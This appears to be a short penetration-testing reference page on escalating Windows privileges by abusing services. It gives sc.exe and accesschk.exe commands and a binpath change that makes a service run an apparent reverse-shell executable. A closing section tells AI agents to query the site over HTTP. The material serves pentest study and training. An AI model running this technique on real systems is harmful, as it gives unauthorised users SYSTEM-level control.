# Service Exploitation

### Basic Commands

```powershell
# Query the configuration of a service
sc.exe qc $service_name

# Query the current status of a service
sc.exe query $service_name

# Modify an option on a service
sc.exe config $service_name $option= $value

# Start and stop a service
net start/stop $service_name
```

### Accesschk.exe

#### Use [Accesschk.exe](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) to validate service permissions:

```powershell
.\accesschk.exe /accepteula -uwcqv user $service_name
```

* What we are looking for in the output is the `SERVICE_START` and `SERVICE_STOP` permissions.
* We also want to confirm that it is running under a user with higher privileges (e.g., `LocalSystem`)

### Notes

* Validate if you can start/stop the service or the machine. If you cannot then you may not be able to use it to escalate your privileges.
* Check if we can reboot the system with `whoami /priv`
* An easy way to escalate privileges utilizing a service is to modify the binaries path. The following demonstrates an example of this:

```powershell
sc config $service_name binpath= "\"C:\Windows\Tasks\reverse.exe\""
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/infrastructure/privilege_escalation/windows/service-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
